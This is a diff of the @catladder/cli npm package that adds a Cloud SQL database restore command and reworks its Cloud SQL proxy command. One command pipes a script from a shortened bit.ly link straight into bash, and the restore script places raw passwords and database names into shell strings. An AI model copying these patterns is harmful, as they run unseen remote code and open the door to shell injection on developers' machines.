@catladder/cli 0.0.0-refactor-env-context-834a2b56 → 0.0.0-refactor-needs-c896b98e
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/apps/cli/cli.js +2 -0
- package/dist/apps/cli/cli.js.map +1 -1
- package/dist/apps/cli/commands/{project/commandCopyDB.d.ts → cloudSQL/commandRestoreDb.d.ts} +0 -0
- package/dist/apps/cli/commands/cloudSQL/commandRestoreDb.js +176 -0
- package/dist/apps/cli/commands/cloudSQL/commandRestoreDb.js.map +1 -0
- package/dist/apps/cli/commands/cloudSQL/index.d.ts +3 -0
- package/dist/apps/cli/commands/{project/commandCopyDB.js → cloudSQL/index.js} +9 -39
- package/dist/apps/cli/commands/cloudSQL/index.js.map +1 -0
- package/dist/apps/cli/commands/project/commandCloudSqlProxy.js +106 -45
- package/dist/apps/cli/commands/project/commandCloudSqlProxy.js.map +1 -1
- package/dist/apps/cli/commands/project/commandGetMyTotalWorktime.js +1 -1
- package/dist/apps/cli/commands/project/commandGetMyTotalWorktime.js.map +1 -1
- package/dist/apps/cli/commands/project/index.js +0 -2
- package/dist/apps/cli/commands/project/index.js.map +1 -1
- package/dist/apps/cli/commands/project/setup/setupCloudRun.js +20 -3
- package/dist/apps/cli/commands/project/setup/setupCloudRun.js.map +1 -1
- package/dist/apps/cli/commands/project/setup/setupCloudSQL.js +2 -2
- package/dist/apps/cli/commands/project/setup/setupCloudSQL.js.map +1 -1
- package/dist/apps/cli/commands/project/setup/setupContext.js +1 -1
- package/dist/apps/cli/commands/project/setup/setupContext.js.map +1 -1
- package/dist/apps/cli/commands/theStuffThatReallyMatters/index.js +1 -1
- package/dist/apps/cli/commands/theStuffThatReallyMatters/index.js.map +1 -1
- package/dist/apps/cli/verify/migration/fromv2.js +2 -0
- package/dist/apps/cli/verify/migration/fromv2.js.map +1 -1
- package/dist/apps/cli/verify/migration/oldGitlabCi.js +1 -1
- package/dist/apps/cli/verify/migration/oldGitlabCi.js.map +1 -1
- package/dist/bundles/catenv/index.js +1554 -1453
- package/dist/bundles/cli/index.js +1934 -1598
- package/dist/config/getProjectConfig.d.ts +1 -1
- package/dist/config/getProjectConfig.js +9 -2
- package/dist/config/getProjectConfig.js.map +1 -1
- package/dist/tsconfig.tsbuildinfo +1 -1
- package/package.json +2 -2
- package/src/apps/cli/cli.ts +2 -0
- package/src/apps/cli/commands/cloudSQL/commandRestoreDb.ts +154 -0
- package/src/apps/cli/commands/cloudSQL/index.ts +8 -0
- package/src/apps/cli/commands/project/commandCloudSqlProxy.ts +105 -36
- package/src/apps/cli/commands/project/commandGetMyTotalWorktime.ts +1 -1
- package/src/apps/cli/commands/project/index.ts +1 -2
- package/src/apps/cli/commands/project/setup/setupCloudRun.ts +11 -1
- package/src/apps/cli/commands/project/setup/setupCloudSQL.ts +6 -3
- package/src/apps/cli/commands/project/setup/setupContext.ts +2 -2
- package/src/apps/cli/commands/theStuffThatReallyMatters/index.ts +1 -1
- package/src/apps/cli/verify/migration/fromv2.ts +1 -0
- package/src/apps/cli/verify/migration/oldGitlabCi.ts +1 -1
- package/src/config/getProjectConfig.ts +9 -4
- package/dist/apps/cli/commands/project/commandCopyDB.js.map +0 -1
- package/src/apps/cli/commands/project/commandCopyDB.ts +0 -92
package/package.json
CHANGED
|
@@ -24,7 +24,7 @@
|
|
|
24
24
|
"node": ">=12.0.0"
|
|
25
25
|
},
|
|
26
26
|
"devDependencies": {
|
|
27
|
-
"@catladder/pipeline": "0.0.0-refactor-
|
|
27
|
+
"@catladder/pipeline": "0.0.0-refactor-needs-c896b98e",
|
|
28
28
|
"@kubernetes/client-node": "^0.16.2",
|
|
29
29
|
"@tsconfig/node14": "^1.0.1",
|
|
30
30
|
"@types/common-tags": "^1.8.0",
|
|
@@ -57,6 +57,6 @@
|
|
|
57
57
|
"typescript": "^4.5.4",
|
|
58
58
|
"vorpal": "^1.12.0"
|
|
59
59
|
},
|
|
60
|
-
"version": "0.0.0-refactor-
|
|
60
|
+
"version": "0.0.0-refactor-needs-c896b98e",
|
|
61
61
|
"stableVersion": "0.0.0"
|
|
62
62
|
}
|
package/src/apps/cli/cli.ts
CHANGED
|
@@ -4,6 +4,7 @@ import packageInfos from "../../packageInfos";
|
|
|
4
4
|
import { stopAllPortForwards } from "../../utils/portForward";
|
|
5
5
|
import general from "./commands/general";
|
|
6
6
|
import mongodb from "./commands/mongodb";
|
|
7
|
+
import cloudSQL from "./commands/cloudSQL";
|
|
7
8
|
import project from "./commands/project";
|
|
8
9
|
import theStuffThatReallyMatters from "./commands/theStuffThatReallyMatters";
|
|
9
10
|
|
|
@@ -29,6 +30,7 @@ export default async () => {
|
|
|
29
30
|
|
|
30
31
|
general(vorpal);
|
|
31
32
|
project(vorpal);
|
|
33
|
+
cloudSQL(vorpal);
|
|
32
34
|
mongodb(vorpal);
|
|
33
35
|
theStuffThatReallyMatters(vorpal);
|
|
34
36
|
|
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
import { spawn } from "child-process-promise";
|
|
2
|
+
import type Vorpal from "vorpal";
|
|
3
|
+
|
|
4
|
+
const createProxy = async (instance: string, port: number) => {
|
|
5
|
+
const proxy = spawn(
|
|
6
|
+
`cloud_sql_proxy -instances ${instance}=tcp:${port}`,
|
|
7
|
+
[],
|
|
8
|
+
{ shell: "bash" }
|
|
9
|
+
);
|
|
10
|
+
// wait until it starts
|
|
11
|
+
await spawn(
|
|
12
|
+
`echo -n "Waiting for proxy"
|
|
13
|
+
until echo > /dev/tcp/localhost/${port}; do
|
|
14
|
+
sleep 0.2
|
|
15
|
+
echo -n "."
|
|
16
|
+
done 2>/dev/null`,
|
|
17
|
+
[],
|
|
18
|
+
{ shell: "bash" }
|
|
19
|
+
);
|
|
20
|
+
const stop = () => proxy.childProcess.kill();
|
|
21
|
+
process.on("beforeExit", stop);
|
|
22
|
+
|
|
23
|
+
return {
|
|
24
|
+
stop,
|
|
25
|
+
};
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
export default async (vorpal: Vorpal) =>
|
|
29
|
+
vorpal
|
|
30
|
+
.command(
|
|
31
|
+
"cloud-sql-restore-db",
|
|
32
|
+
"restore a db from one source to another target"
|
|
33
|
+
)
|
|
34
|
+
.action(async function restoreDb() {
|
|
35
|
+
const { sourceInstance } = await this.prompt({
|
|
36
|
+
type: "input",
|
|
37
|
+
name: "sourceInstance",
|
|
38
|
+
|
|
39
|
+
message: "Source instance (connection string or 'local')? 🤔 ",
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
let sourceProxy: { stop: () => void };
|
|
43
|
+
|
|
44
|
+
let targetProxy: { stop: () => void };
|
|
45
|
+
|
|
46
|
+
let sourcePort: number;
|
|
47
|
+
let targetPort: number;
|
|
48
|
+
|
|
49
|
+
if (sourceInstance === "local") {
|
|
50
|
+
const { sourceLocalPort } = await this.prompt({
|
|
51
|
+
type: "number",
|
|
52
|
+
name: "sourceLocalPort",
|
|
53
|
+
default: 5432,
|
|
54
|
+
|
|
55
|
+
message: "Local Port for source? 🤔 ",
|
|
56
|
+
});
|
|
57
|
+
sourcePort = sourceLocalPort;
|
|
58
|
+
} else {
|
|
59
|
+
sourcePort = 54399;
|
|
60
|
+
sourceProxy = await createProxy(sourceInstance, sourcePort);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
const { sourcePassword } = await this.prompt({
|
|
64
|
+
type: "input",
|
|
65
|
+
name: "sourcePassword",
|
|
66
|
+
|
|
67
|
+
message: "Source Password? 🤔 ",
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
const { sourceDbName } = await this.prompt({
|
|
71
|
+
type: "input",
|
|
72
|
+
name: "sourceDbName",
|
|
73
|
+
|
|
74
|
+
message: "Source DB name? 🤔 ",
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
const { targetInstance } = await this.prompt({
|
|
78
|
+
type: "input",
|
|
79
|
+
name: "targetInstance",
|
|
80
|
+
|
|
81
|
+
message: "Targe INSTANCE (connection string or 'local')? 🤔 ",
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
if (targetInstance === "local") {
|
|
85
|
+
const { targetLocalPort } = await this.prompt({
|
|
86
|
+
type: "number",
|
|
87
|
+
name: "targetLocalPort",
|
|
88
|
+
default: 5432,
|
|
89
|
+
|
|
90
|
+
message: "Local Port for target? 🤔 ",
|
|
91
|
+
});
|
|
92
|
+
targetPort = targetLocalPort;
|
|
93
|
+
} else {
|
|
94
|
+
targetPort = 54499;
|
|
95
|
+
targetProxy = await createProxy(targetInstance, targetPort);
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
const { targetPassword } = await this.prompt({
|
|
99
|
+
type: "input",
|
|
100
|
+
name: "targetPassword",
|
|
101
|
+
|
|
102
|
+
message: "Target Password? 🤔 ",
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
const { targetDbName } = await this.prompt({
|
|
106
|
+
type: "input",
|
|
107
|
+
name: "targetDbName",
|
|
108
|
+
|
|
109
|
+
message: "Target DB name? 🤔 ",
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
const { shouldContinue } = await this.prompt({
|
|
113
|
+
type: "confirm",
|
|
114
|
+
name: "shouldContinue",
|
|
115
|
+
message: `This will drop ${targetInstance}/${targetDbName} and replace it with ${sourceInstance}/${sourceDbName}. Continue? 🤔 `,
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
if (!shouldContinue) {
|
|
119
|
+
return;
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
const targetPSQL = (command: string) =>
|
|
123
|
+
`PGPASSWORD=${targetPassword} psql -p ${targetPort} --host=localhost --user=postgres -q ${command}`;
|
|
124
|
+
|
|
125
|
+
const copyDBScript = `
|
|
126
|
+
set -e
|
|
127
|
+
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
dumptmp=$(mktemp /tmp/dump.XXXXXX)
|
|
131
|
+
|
|
132
|
+
echo "Dumping file to $dumptmp"
|
|
133
|
+
pg_dump --dbname=postgres://postgres:${sourcePassword}@localhost:${sourcePort}/${sourceDbName} --no-owner --no-privileges > $dumptmp
|
|
134
|
+
echo "dump done"
|
|
135
|
+
${targetPSQL(
|
|
136
|
+
`-c 'drop database "${targetDbName}" WITH (FORCE)' 1> /dev/null || true`
|
|
137
|
+
)}
|
|
138
|
+
${targetPSQL(`-c 'create database "${targetDbName}"' 1> /dev/null`)}
|
|
139
|
+
echo "Restoring dump..."
|
|
140
|
+
${targetPSQL(`"${targetDbName}" < $dumptmp 1> /dev/null`)}
|
|
141
|
+
|
|
142
|
+
|
|
143
|
+
echo "Clean up..."
|
|
144
|
+
set +e
|
|
145
|
+
rm $dumptmp
|
|
146
|
+
echo "\n🐱 Done!"
|
|
147
|
+
`;
|
|
148
|
+
try {
|
|
149
|
+
await spawn(copyDBScript, [], { shell: "bash", stdio: "inherit" });
|
|
150
|
+
} finally {
|
|
151
|
+
sourceProxy?.stop();
|
|
152
|
+
targetProxy?.stop();
|
|
153
|
+
}
|
|
154
|
+
});
|
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import type { Context } from "@catladder/pipeline";
|
|
1
2
|
import { isOfDeployType } from "@catladder/pipeline";
|
|
2
3
|
import { spawn } from "child-process-promise";
|
|
3
4
|
import { writeFile } from "fs-extra";
|
|
@@ -7,11 +8,15 @@ import {
|
|
|
7
8
|
getEnvVars,
|
|
8
9
|
getGitlabVar,
|
|
9
10
|
getPipelineContextByChoice,
|
|
10
|
-
getProjectConfig,
|
|
11
11
|
parseChoice,
|
|
12
12
|
} from "../../../../config/getProjectConfig";
|
|
13
13
|
import { envAndComponents } from "./utils/autocompletions";
|
|
14
14
|
|
|
15
|
+
type ProxyInfo = {
|
|
16
|
+
instanceName: string;
|
|
17
|
+
DB_NAME: string;
|
|
18
|
+
DB_PASSWORD: string;
|
|
19
|
+
};
|
|
15
20
|
export default async (vorpal: Vorpal) =>
|
|
16
21
|
vorpal
|
|
17
22
|
.command("project-cloud-sql-proxy <envComponent>", "proxy to cloud sql db")
|
|
@@ -19,9 +24,26 @@ export default async (vorpal: Vorpal) =>
|
|
|
19
24
|
.action(async function ({ envComponent }) {
|
|
20
25
|
const { env, componentName } = parseChoice(envComponent);
|
|
21
26
|
|
|
22
|
-
const
|
|
23
|
-
|
|
27
|
+
const context = await getPipelineContextByChoice(env, componentName);
|
|
28
|
+
let proxyInfo: ProxyInfo;
|
|
29
|
+
|
|
30
|
+
if (env === "review") {
|
|
31
|
+
vorpal.log(
|
|
32
|
+
"⚠️ connection string does not include mr information on review environments"
|
|
33
|
+
);
|
|
34
|
+
}
|
|
35
|
+
if (isOfDeployType(context.componentConfig.deploy, "kubernetes")) {
|
|
36
|
+
proxyInfo = await getProxyInfoForKubernetes(context);
|
|
37
|
+
} else if (
|
|
38
|
+
isOfDeployType(context.componentConfig.deploy, "google-cloudrun")
|
|
39
|
+
) {
|
|
40
|
+
proxyInfo = await getProxyInfoForCloudRun(context);
|
|
41
|
+
} else {
|
|
42
|
+
throw new Error("unsupported environment");
|
|
43
|
+
}
|
|
24
44
|
|
|
45
|
+
// skynet-164509:europe-west6:pvl-cyclomania-review=tcp:5432
|
|
46
|
+
const { DB_PASSWORD, DB_NAME, instanceName } = proxyInfo;
|
|
25
47
|
const { localPort } = await this.prompt({
|
|
26
48
|
type: "number",
|
|
27
49
|
name: "localPort",
|
|
@@ -29,35 +51,16 @@ export default async (vorpal: Vorpal) =>
|
|
|
29
51
|
message: "Local port: ",
|
|
30
52
|
});
|
|
31
53
|
|
|
32
|
-
const envVars = await getEnvVars(this, env, componentName);
|
|
33
|
-
const POSTGRESQL_PASSWORD = envVars?.POSTGRESQL_PASSWORD;
|
|
34
|
-
|
|
35
|
-
const context = await getPipelineContextByChoice(env, componentName);
|
|
36
|
-
if (!isOfDeployType(context.componentConfig.deploy, "kubernetes")) {
|
|
37
|
-
throw new Error("currently only supported for kubernetes deployment");
|
|
38
|
-
}
|
|
39
54
|
this.log("");
|
|
40
|
-
this.log(`postgres-PW: ${
|
|
55
|
+
this.log(`postgres-PW: ${DB_PASSWORD}`);
|
|
41
56
|
this.log("");
|
|
42
57
|
this.log(
|
|
43
|
-
`POSTGRESQL_URL=postgresql://postgres:${
|
|
58
|
+
`POSTGRESQL_URL=postgresql://postgres:${DB_PASSWORD}@localhost:${localPort}/${DB_NAME}?schema=public`
|
|
44
59
|
);
|
|
45
60
|
this.log("");
|
|
46
61
|
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
const projectId =
|
|
50
|
-
values?.cloudsql?.projectId ||
|
|
51
|
-
context.componentConfig.deploy.cluster?.projectId;
|
|
52
|
-
|
|
53
|
-
const defaultInstanceId = `${config.customerName}-${config.appName}-${env}`;
|
|
54
|
-
const instanceId = values?.cloudsql?.instanceId || defaultInstanceId;
|
|
55
|
-
|
|
56
|
-
const defaultRegion = "europe-west6"; // currently hardcoded
|
|
57
|
-
const region = values?.cloudsql?.region || defaultRegion;
|
|
58
|
-
|
|
59
|
-
const instanceName = `${projectId}:${region}:${instanceId}=tcp:${localPort}`;
|
|
60
|
-
|
|
62
|
+
// legacy, some projects have the cloudsqlProxyCredentials in the secrets
|
|
63
|
+
// actually it works without, if the current local shell user has access to the db through google cloud
|
|
61
64
|
const cloudsqlProxyCredentials = await getGitlabVar(
|
|
62
65
|
this,
|
|
63
66
|
env,
|
|
@@ -65,20 +68,20 @@ export default async (vorpal: Vorpal) =>
|
|
|
65
68
|
"cloudsqlProxyCredentials"
|
|
66
69
|
);
|
|
67
70
|
|
|
68
|
-
if (!cloudsqlProxyCredentials) {
|
|
69
|
-
// we store cloudsqlProxyCredentials on gitlab, but its currently get pushed via bitwarden due to legacy reasons
|
|
70
|
-
// this will be fixed with when https://git.panter.ch/catladder/catladder/-/merge_requests/32/ is merged
|
|
71
|
-
this.log(
|
|
72
|
-
"cloudsqlProxyCredentials env var missing in gitlab. Please contact gilde-ci-cd about that."
|
|
73
|
-
);
|
|
74
|
-
throw new Error("cloudsqlProxyCredentials missing in secrets");
|
|
75
|
-
}
|
|
76
71
|
await withFile(async ({ path: tmpFilePath }) => {
|
|
77
|
-
|
|
72
|
+
if (cloudsqlProxyCredentials) {
|
|
73
|
+
await writeFile(tmpFilePath, cloudsqlProxyCredentials);
|
|
74
|
+
}
|
|
78
75
|
|
|
79
76
|
await spawn(
|
|
80
77
|
"cloud_sql_proxy",
|
|
81
|
-
[
|
|
78
|
+
[
|
|
79
|
+
"-instances",
|
|
80
|
+
`${instanceName}=tcp:${localPort}`,
|
|
81
|
+
...(cloudsqlProxyCredentials
|
|
82
|
+
? ["-credential_file", tmpFilePath]
|
|
83
|
+
: []),
|
|
84
|
+
],
|
|
82
85
|
{
|
|
83
86
|
stdio: "inherit",
|
|
84
87
|
shell: true,
|
|
@@ -86,3 +89,69 @@ export default async (vorpal: Vorpal) =>
|
|
|
86
89
|
);
|
|
87
90
|
});
|
|
88
91
|
});
|
|
92
|
+
|
|
93
|
+
const getProxyInfoForKubernetes = async (
|
|
94
|
+
context: Context
|
|
95
|
+
): Promise<ProxyInfo> => {
|
|
96
|
+
if (!isOfDeployType(context.componentConfig.deploy, "kubernetes")) {
|
|
97
|
+
throw new Error("unsupported");
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
const envVars = await getEnvVars(
|
|
101
|
+
this,
|
|
102
|
+
context.environment.shortName,
|
|
103
|
+
context.componentName
|
|
104
|
+
);
|
|
105
|
+
|
|
106
|
+
const DB_PASSWORD = envVars?.DB_PASSWORD || envVars?.POSTGRESQL_PASSWORD;
|
|
107
|
+
|
|
108
|
+
const DB_NAME = context.environment.envVars.KUBE_APP_NAME;
|
|
109
|
+
|
|
110
|
+
const values = context.componentConfig.deploy.values;
|
|
111
|
+
|
|
112
|
+
const projectId =
|
|
113
|
+
values?.cloudsql?.projectId ||
|
|
114
|
+
context.componentConfig.deploy.cluster?.projectId;
|
|
115
|
+
|
|
116
|
+
const defaultInstanceId = `${context.fullConfig.customerName}-${context.fullConfig.appName}-${context.environment.shortName}`;
|
|
117
|
+
const instanceId = values?.cloudsql?.instanceId || defaultInstanceId;
|
|
118
|
+
|
|
119
|
+
const defaultRegion = "europe-west6"; // currently hardcoded
|
|
120
|
+
const region = values?.cloudsql?.region || defaultRegion;
|
|
121
|
+
|
|
122
|
+
const instanceName = `${projectId}:${region}:${instanceId}`;
|
|
123
|
+
|
|
124
|
+
return {
|
|
125
|
+
instanceName,
|
|
126
|
+
DB_PASSWORD,
|
|
127
|
+
DB_NAME,
|
|
128
|
+
};
|
|
129
|
+
};
|
|
130
|
+
|
|
131
|
+
const getProxyInfoForCloudRun = async (
|
|
132
|
+
context: Context
|
|
133
|
+
): Promise<ProxyInfo> => {
|
|
134
|
+
if (
|
|
135
|
+
!isOfDeployType(context.componentConfig.deploy, "google-cloudrun") ||
|
|
136
|
+
!context.componentConfig.deploy.cloudSql
|
|
137
|
+
) {
|
|
138
|
+
throw new Error("unsupported");
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
const envVars = await getEnvVars(
|
|
142
|
+
this,
|
|
143
|
+
context.environment.shortName,
|
|
144
|
+
context.componentName
|
|
145
|
+
);
|
|
146
|
+
|
|
147
|
+
const DB_PASSWORD = envVars?.DB_PASSWORD;
|
|
148
|
+
|
|
149
|
+
const DB_NAME = context.environment.envVars.DB_NAME;
|
|
150
|
+
|
|
151
|
+
return {
|
|
152
|
+
instanceName:
|
|
153
|
+
context.componentConfig.deploy.cloudSql.instanceConnectionName,
|
|
154
|
+
DB_PASSWORD,
|
|
155
|
+
DB_NAME,
|
|
156
|
+
};
|
|
157
|
+
};
|
|
@@ -8,7 +8,7 @@ export default async (vorpal: Vorpal) =>
|
|
|
8
8
|
"show the total worktime that you spent on a project"
|
|
9
9
|
)
|
|
10
10
|
.action(async () => {
|
|
11
|
-
await spawn("sh", ["-c", "curl -L http://bit.ly/
|
|
11
|
+
await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], {
|
|
12
12
|
stdio: ["pipe", "inherit", "pipe"],
|
|
13
13
|
});
|
|
14
14
|
});
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import type Vorpal from "vorpal";
|
|
2
2
|
import commandCloudSqlProxy from "./commandCloudSqlProxy";
|
|
3
3
|
import commandConfigSecrets from "./commandConfigSecrets";
|
|
4
|
-
|
|
4
|
+
|
|
5
5
|
import commandDeletePods from "./commandDeletePods";
|
|
6
6
|
import commandDeleteProject from "./commandDeleteProject";
|
|
7
7
|
import commandEnvVars from "./commandEnvVars";
|
|
@@ -51,7 +51,6 @@ export default async (vorpal: Vorpal) => {
|
|
|
51
51
|
commandConfigSecrets(vorpal);
|
|
52
52
|
commandSecretsClearBackups(vorpal);
|
|
53
53
|
commandDeletePods(vorpal);
|
|
54
|
-
commandCopyDB(vorpal);
|
|
55
54
|
|
|
56
55
|
commandGetShell(vorpal);
|
|
57
56
|
commandPortForward(vorpal);
|
|
@@ -26,7 +26,15 @@ export const setupCloudRun = async (
|
|
|
26
26
|
|
|
27
27
|
instance.log("enable required servies...");
|
|
28
28
|
await enableGCloudServices(
|
|
29
|
-
[
|
|
29
|
+
[
|
|
30
|
+
"run.googleapis.com",
|
|
31
|
+
"artifactregistry.googleapis.com",
|
|
32
|
+
"cloudscheduler.googleapis.com", // for scheduling jobs
|
|
33
|
+
"cloudresourcemanager.googleapis.com", // only required to get google cloud project number
|
|
34
|
+
...(config.cloudSql
|
|
35
|
+
? ["sqladmin.googleapis.com", "sql-component.googleapis.com"]
|
|
36
|
+
: []),
|
|
37
|
+
],
|
|
30
38
|
config
|
|
31
39
|
);
|
|
32
40
|
instance.log("upsert artifacts registry...");
|
|
@@ -46,6 +54,8 @@ export const setupCloudRun = async (
|
|
|
46
54
|
"roles/artifactregistry.repoAdmin",
|
|
47
55
|
"roles/run.admin",
|
|
48
56
|
"roles/iam.serviceAccountUser",
|
|
57
|
+
"roles/cloudscheduler.admin", // for scheduling
|
|
58
|
+
...(config.cloudSql ? ["roles/cloudsql.admin"] : []),
|
|
49
59
|
],
|
|
50
60
|
},
|
|
51
61
|
GCLOUD_DEPLOY_CREDENTIALS_KEY
|
|
@@ -1,15 +1,18 @@
|
|
|
1
1
|
import type { Context } from "@catladder/pipeline";
|
|
2
|
-
import {
|
|
2
|
+
import {
|
|
3
|
+
getKubernetesCloudSQLConfig,
|
|
4
|
+
hasKubernetesCloudSQL,
|
|
5
|
+
} from "@catladder/pipeline";
|
|
3
6
|
import type { CommandInstance } from "vorpal";
|
|
4
7
|
|
|
5
8
|
export const setupCloudSQL = async (
|
|
6
9
|
instance: CommandInstance,
|
|
7
10
|
context: Context
|
|
8
11
|
) => {
|
|
9
|
-
if (!
|
|
12
|
+
if (!hasKubernetesCloudSQL(context)) {
|
|
10
13
|
throw new Error("cannot setup cloudsql, as it has none");
|
|
11
14
|
}
|
|
12
|
-
const config =
|
|
15
|
+
const config = getKubernetesCloudSQLConfig(context);
|
|
13
16
|
instance.log("");
|
|
14
17
|
instance.log(
|
|
15
18
|
"! make sure to provide cloudsqlProxyCredentials for the cloud sql service account in " +
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import type { Context } from "@catladder/pipeline";
|
|
2
|
-
import { isOfDeployType,
|
|
2
|
+
import { isOfDeployType, hasKubernetesCloudSQL } from "@catladder/pipeline";
|
|
3
3
|
import type { CommandInstance } from "vorpal";
|
|
4
4
|
import { setupCloudRun } from "./setupCloudRun";
|
|
5
5
|
import { setupCloudSQL } from "./setupCloudSQL";
|
|
@@ -25,7 +25,7 @@ export const setupContext = async (
|
|
|
25
25
|
if (isOfDeployType(context.componentConfig.deploy, "google-cloudrun")) {
|
|
26
26
|
await setupCloudRun(instance, context);
|
|
27
27
|
}
|
|
28
|
-
if (
|
|
28
|
+
if (hasKubernetesCloudSQL(context)) {
|
|
29
29
|
await setupCloudSQL(instance, context);
|
|
30
30
|
}
|
|
31
31
|
|
|
@@ -19,7 +19,7 @@ export default async (vorpal: Vorpal) => {
|
|
|
19
19
|
vorpal
|
|
20
20
|
.command("starwars", "Long time ago... in a galaxy far far away...")
|
|
21
21
|
.action(async function () {
|
|
22
|
-
starwarsPromise = spawn("telnet", ["
|
|
22
|
+
starwarsPromise = spawn("telnet", ["2001:7b8:666:ffff::1:42"], {
|
|
23
23
|
stdio: ["pipe", "inherit", "pipe"],
|
|
24
24
|
});
|
|
25
25
|
await starwarsPromise;
|
|
@@ -36,6 +36,7 @@ export const LEGACY_ENVS = [
|
|
|
36
36
|
|
|
37
37
|
const arrayToRecord = (arr: { name: string }[]): Record<string, any> => {
|
|
38
38
|
if (!arr) return undefined;
|
|
39
|
+
if (!Array.isArray(arr)) return arr;
|
|
39
40
|
return Object.fromEntries(arr.map(({ name, ...rest }) => [name, rest]));
|
|
40
41
|
};
|
|
41
42
|
|
|
@@ -150,8 +150,13 @@ export const getEnvVars = async (
|
|
|
150
150
|
env: string,
|
|
151
151
|
componentName: string
|
|
152
152
|
) => {
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
153
|
+
try {
|
|
154
|
+
const envionment = await getEnvironment(env, componentName);
|
|
155
|
+
// in the pipeline the secrets alreadyy exists and bash will expand them
|
|
156
|
+
// but here we need to manually load them
|
|
157
|
+
return resolveSecrets(vorpal, envionment.envVars);
|
|
158
|
+
} catch (e) {
|
|
159
|
+
// env is disabled
|
|
160
|
+
return {};
|
|
161
|
+
}
|
|
157
162
|
};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"commandCopyDB.js","sourceRoot":"","sources":["../../../../../src/apps/cli/commands/project/commandCopyDB.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAEA,wEAI6C;AAE7C,2DAA2D;AAE3D,sBAAe,UAAO,MAAc;;;;;gBAClC,KAAA,CAAA,KAAA,MAAM;qBACH,OAAO,CACN,wBAAwB,EACxB,2CAA2C,CAC5C,CAAA;qBACA,YAAY,CAAA;gBAAC,qBAAM,IAAA,kCAAgB,GAAE,EAAA;oBALxC,sBAAA,cAKgB,SAAwB,EAAC;qBACtC,MAAM,CAAC,SAAe,MAAM,CAAC,EAAgB;wBAAd,YAAY,kBAAA;;;;;;oCACpC,KAAyB,IAAA,8BAAW,EAAC,YAAY,CAAC,EAAhD,GAAG,SAAA,EAAE,aAAa,mBAAA,CAA+B;oCACvB,qBAAM,IAAA,mCAAgB,GAAE,EAAA;;oCAApD,KAA4B,SAAwB,EAAlD,YAAY,kBAAA,EAAE,OAAO,aAAA;oCAEF,qBAAM,IAAI,CAAC,MAAM,CAAC;4CAC3C,IAAI,EAAE,SAAS;4CACf,IAAI,EAAE,gBAAgB;4CACtB,OAAO,EACL,sFAAsF;yCACzF,CAAC,EAAA;;oCALM,cAAc,GAAK,CAAA,SAKzB,CAAA,eALoB;oCAOtB,IAAI,CAAC,cAAc,EAAE;wCACnB,sBAAO;qCACR;;;;;iBA6DF,CAAC,EAAA;;;KAAA,EAAC"}
|
|
@@ -1,92 +0,0 @@
|
|
|
1
|
-
import { spawn } from "child-process-promise";
|
|
2
|
-
import type Vorpal from "vorpal";
|
|
3
|
-
import {
|
|
4
|
-
getEnvVars,
|
|
5
|
-
getProjectConfig,
|
|
6
|
-
parseChoice,
|
|
7
|
-
} from "../../../../config/getProjectConfig";
|
|
8
|
-
import { readPass } from "../../../../utils/passwordstore";
|
|
9
|
-
import { envAndComponents } from "./utils/autocompletions";
|
|
10
|
-
|
|
11
|
-
export default async (vorpal: Vorpal) =>
|
|
12
|
-
vorpal
|
|
13
|
-
.command(
|
|
14
|
-
"copy-db <envComponent>",
|
|
15
|
-
"replace local db with the one from an env"
|
|
16
|
-
)
|
|
17
|
-
.autocomplete(await envAndComponents())
|
|
18
|
-
.action(async function copyDB({ envComponent }) {
|
|
19
|
-
const { env, componentName } = parseChoice(envComponent);
|
|
20
|
-
const { customerName, appName } = await getProjectConfig();
|
|
21
|
-
|
|
22
|
-
const { shouldContinue } = await this.prompt({
|
|
23
|
-
type: "confirm",
|
|
24
|
-
name: "shouldContinue",
|
|
25
|
-
message:
|
|
26
|
-
"This will drop your local database and replace it with the remote one. Continue? 🤔 ",
|
|
27
|
-
});
|
|
28
|
-
|
|
29
|
-
if (!shouldContinue) {
|
|
30
|
-
return;
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
// TODO: reimpleent with new config
|
|
34
|
-
/*
|
|
35
|
-
throw new Error("needs reimplementation with new config");
|
|
36
|
-
const GOOGLE_CLOUD_SQL_REGION = "europe-west6"; // currently hardcoded
|
|
37
|
-
const { POSTGRESQL_PASSWORD } = await getEnvVars(
|
|
38
|
-
this,
|
|
39
|
-
env,
|
|
40
|
-
componentName
|
|
41
|
-
);
|
|
42
|
-
|
|
43
|
-
const LOCAL_PORT = 54321;
|
|
44
|
-
|
|
45
|
-
const instanceName = `${"xxxxxx reimplement shoulld be project id"}:${GOOGLE_CLOUD_SQL_REGION}:${customerName}-${appName}-${env}=tcp:${LOCAL_PORT}`;
|
|
46
|
-
const cloudsqlCredentials = await readPass(GOOGLE_CLOUD_SQL_PASS_PATH);
|
|
47
|
-
|
|
48
|
-
const { POSTGRESQL_URL } = process.env;
|
|
49
|
-
const matches = new RegExp(/\w+:\/\/.*@.*\/(\w*)()/g).exec(
|
|
50
|
-
POSTGRESQL_URL
|
|
51
|
-
);
|
|
52
|
-
if (!matches) {
|
|
53
|
-
throw new Error("Could not determine db name.");
|
|
54
|
-
}
|
|
55
|
-
